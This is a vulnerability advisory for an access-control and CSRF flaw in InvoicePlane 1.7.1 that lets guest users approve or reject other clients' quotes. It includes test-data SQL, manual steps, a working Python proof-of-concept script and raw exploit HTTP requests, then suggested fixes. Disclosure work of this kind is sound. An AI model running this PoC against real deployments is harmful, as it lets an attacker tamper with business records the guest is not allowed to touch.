CVE-2026-33629InvoicePlane/InvoicePlane
NVD
Vulnerability Summary
Overview Logged-in `guest` users can directly request: - `GET /index.php/guest/quotes/approve/{quote_id}` - `GET /index.php/guest/quotes/reject/{quote_id}` to modify the status of quotes that do not belong to them. The attacker does not need to have view permissions for the target quote; they only need to know or guess the `quote_id` to approve or reject it. This issue has two characteristics: 1. The controller does not check whether the target quote belongs to the current `guest` user's accessible `client_id`. 2. The sensitive status change endpoint uses `GET` and does not perform `CSRF` validation. Impact - Any guest user can approve or reject pending quotes belonging to other clients. - Quote business statuses can be modified illegally, potentially causing erroneous transactions, incorrect rejections, misdirected notifications, and distorted audit records. - If the `quote_id` is enumerable, the exploitation cost is very low. Affected Code - Vulnerability Entry Point: `application/modules/guest/controllers/Quotes.php:142` - Vulnerability Entry Point: `application/modules/guest/controllers/Quotes.php:156` - Only updates by `quote_id`: `application/modules/quotes/models/Mdl_quotes.php:464` - Only updates by `quote_id`: `application/modules/quotes/models/Mdl_quotes.php:475` In contrast, the view/export paths include ownership validation: - `application/modules/guest/controllers/Quotes.php:84` - `application/modules/guest/controllers/Quotes.php:125` Root Cause Analysis The `approve()` / `reject()` functions directly call the model to change the quote status based on `quote_id`, without checking if the quote's `client_id` belongs to the current guest user's `user_clients`. The underlying model also only updates `ip_quotes.quote_status_id` based on `quote_id`, without any user/client ownership constraints. Reproduction Environment The following content is based on the current local Docker environment: - Access Address: `http://127.0.0.1` - Admin Account: `admin@example.com / AdminPass123!` - Guest Account: `guest@example.com / GuestPass123!` - Guest is only bound to: `client_id=1` - Target Quote: `quote_id=1` - The actual owner of the target quote: `client_id=2` Test Data Preparation If using the current environment, skip this section. If you need to set up minimal test data on an existing installation, you can execute: ```bash GUEST_HASH=$( docker exec invoiceplane-php \ php -r "echo crypt('GuestPass123!', '\$2a\$10\$abcdefghijklmnopqrstuv');" ) docker exec invoiceplane-db \ mariadb -uipdevdb -pipdevdb -D invoiceplane_db -e " DELETE FROM ip_user_clients WHERE user_id>1; DELETE FROM ip_quotes WHERE quote_number='QUO-POC-1'; DELETE FROM ip_clients WHERE client_name IN ('Owned Client','Victim Client'); DELETE FROM ip_users WHERE user_email='guest@example.com'; INSERT INTO ip_users ( user_type,user_active,user_date_created,user_date_modified,user_language, user_name,user_email,user_password,user_psalt,user_all_clients,user_passwordreset_token ) VALUES ( 2,1,NOW(),NOW(),'system','Guest','guest@example.com','${GUEST_HASH}', 'abcdefghijklmnopqrstuv',0,'' ); SET @guest_id := LAST_INSERT_ID(); INSERT INTO ip_clients ( client_date_created,client_date_modified,client_name,client_language,client_active ) VALUES (NOW(),NOW(),'Owned Client','system',1); SET @owned_client := LAST_INSERT_ID(); INSERT INTO ip_clients ( client_date_created,client_date_modified,client_name,client_language,client_active ) VALUES (NOW(),NOW(),'Victim Client','system',1); SET @victim_client := LAST_INSERT_ID(); INSERT INTO ip_user_clients (user_id,client_id) VALUES (@guest_id,@owned_client); INSERT INTO ip_quotes ( invoice_id,user_id,client_id,invoice_group_id,quote_status_id, quote_date_created,quote_date_modified,quote_date_expires, quote_number,quote_url_key ) VALUES ( 0,1,@victim_client,4,2,CURDATE(),NOW(),DATE_ADD(CURDATE(), INTERVAL 7 DAY), 'QUO-POC-1',MD5(RAND()) ); SELECT @guest_id AS guest_id,@owned_client AS owned_client,@victim_client AS victim_client,LAST_INSERT_ID() AS quote_id; SELECT quote_id,client_id,quote_status_id,quote_number FROM ip_quotes WHERE quote_number='QUO-POC-1'; SELECT FROM ip_user_clients WHERE user_id=@guest_id; " ``` Expected Output: - `guest_id=2` - `owned_client=1` - `victim_client=2` - `quote_id=1` - `ip_user_clients` contains only `user_id=2 -> client_id=1` - `ip_quotes.quote_id=1` has `client_id=2`, `quote_status_id=2` Reproduction Steps Manual Reproduction 1. Log in with `guest@example.com / GuestPass123!` at `http://127.0.0.1/index.php/sessions/login`. 2. Visit `GET /index.php/guest/quotes/view/1`. 3. Expected Result: A `404` response, indicating that the current guest does not have permission to view this quote. 4. Keep the same session and visit `GET /index.php/guest/quotes/approve/1`. 5. Expected Result: The request redirects, but the `quote_id=1` status is modified in the database. 6. Execute the verification SQL: ```bash docker exec invoiceplane-db \ mariadb -uipdevdb -pipdevdb -D invoiceplane_db -e \ "SELECT quote_id,client_id,quote_status_id,quote_number FROM ip_quotes WHERE quote_id=1;" ``` Before Reproduction: - `quote_id=1` - `client_id=2` - `quote_status_id=2` After Reproduction: - `quote_id=1` - `client_id=2` - `quote_status_id=4` Command-line Reproduction PoC script: ```python !/usr/bin/env python3 import argparse import re import sys import requests def get_csrf(session: requests.Session, html: str) -> str: match = re.search(r'name="_ip_csrf"\s+value="([^"]+)"', html) if match: return match.group(1) token = session.cookies.get("ip_csrf_cookie") if token: return token raise RuntimeError("missing CSRF token") def main() -> int: parser = argparse.ArgumentParser() parser.add_argument("--base-url", default="http://127.0.0.1/index.php") parser.add_argument("--email", required=True) parser.add_argument("--password", required=True) parser.add_argument("--quote-id", type=int, required=True) args = parser.parse_args() base_url = args.base_url.rstrip("/") session = requests.Session() session.headers["User-Agent"] = "Mozilla/5.0 (X11; Linux x86_64) Chrome/122 Safari/537.36" login_page = session.get(f"{base_url}/sessions/login", timeout=30) csrf = get_csrf(session, login_page.text) login_response = session.post( f"{base_url}/sessions/login", data={ "_ip_csrf": csrf, "email": args.email, "password": args.password, "btn_login": "1", }, allow_redirects=True, timeout=30, ) print(f"[+] login: {login_response.status_code} {login_response.url}") if "/guest" not in login_response.url: print("[-] guest login failed or session did not land in guest portal") return 1 quotes_page = session.get(f"{base_url}/guest/quotes", timeout=30) print(f"[+] guest quotes page contains target quote number: {'QUO-POC-1' in quotes_page.text}") view_response = session.get( f"{base_url}/guest/quotes/view/{args.quote_id}", allow_redirects=False, timeout=30, ) print( f"[+] view foreign quote: {view_response.status_code}" f" location={view_response.headers.get('Location')}" ) approve_response = session.get( f"{base_url}/guest/quotes/approve/{args.quote_id}", allow_redirects=False, timeout=30, ) print( f"[+] approve foreign quote: {approve_response.status_code}" f" location={approve_response.headers.get('Location')}" ) print("[] If the quote status changes in the database after the approve request, H-01 is reproduced.") print("[*] Example verification SQL:") print( " docker exec invoiceplane-db mariadb -uipdevdb -pipdevdb -D invoiceplane_db " f"-e \"SELECT quote_id,client_id,quote_status_id,quote_number FROM ip_quotes WHERE quote_id={args.quote_id};\"" ) return 0 if name == "main": sys.exit(main()) ``` Run it as follows: ```bash cd InvoicePlane-1.7.1 python3 poc_h01_guest_quote_idor.py \ --base-url http://127.0.0.1/index.php \ --email guest@example.com \ --password GuestPass123! \ --quote-id 1 ``` Expected Output: - Login successful, lands on `/guest`. - The guest quote list does not include `QUO-POC-1`. - `GET /guest/quotes/view/1` returns `404`. - `GET /guest/quotes/approve/1` returns `302/303/307`. Then, execute the SQL above to verify that `quote_status_id` has changed from `2` to `4`. PoC Request ```http GET /index.php/guest/quotes/approve/1 HTTP/1.1 Host: 127.0.0.1 Cookie: ip_session=<guest_session> ``` Similarly, replace `approve` with `reject`: ```http GET /index.php/guest/quotes/reject/1 HTTP/1.1 Host: 127.0.0.1 Cookie: ip_session=<guest_session> ``` Actual Result - The current guest cannot view the target quote. - The current guest can still directly modify the target quote's status. Suggested Fixes 1. Change `approve` / `reject` to `POST`. 2. Enforce and validate `CSRF`. 3. Both the controller and the model should validate that the `quote_id` corresponds to a `client_id` that belongs to the current guest's `user_clients`. 4. Update conditions should include: `quote_id + current user identity + client_id ownership constraint`. 5. Record audit logs for approval/rejection operations, capturing the operator, target quote, original status, and new status.
Affected & Patched Versions
- InvoicePlane/InvoicePlane 1.7.1
No patched version published yet
Until a fix ships, reduce exposure:
- Restrict access to the affected service or interface to trusted networks.
- Disable the affected feature if you do not need it.
- Watch the vendor advisory for a firmware or software update.
What to do
Plan remediation soon. No exploitation is confirmed yet, but the severity is high.
- Check whether you run InvoicePlane/InvoicePlane and which version.
- No patched version is listed yet. Limit access to the affected service to trusted networks, and disable the feature if you can.
- Subscribe to the vendor advisory so you learn when a fix ships.
Timeline
- Sep 28, 2026Published
- Sep 28, 2026Record last modified
Score, severity and exploitation changes are tracked from the day Watchtower started logging them.
Get notified about new InvoicePlane/InvoicePlane CVEsYou are reading CVE-2026-33629. Get an email when KEV listings, exploits or new CVEs match your stack.
Set up CVE alertsExternal References
Data last checked: Nov 23, 2026 17:01 UTC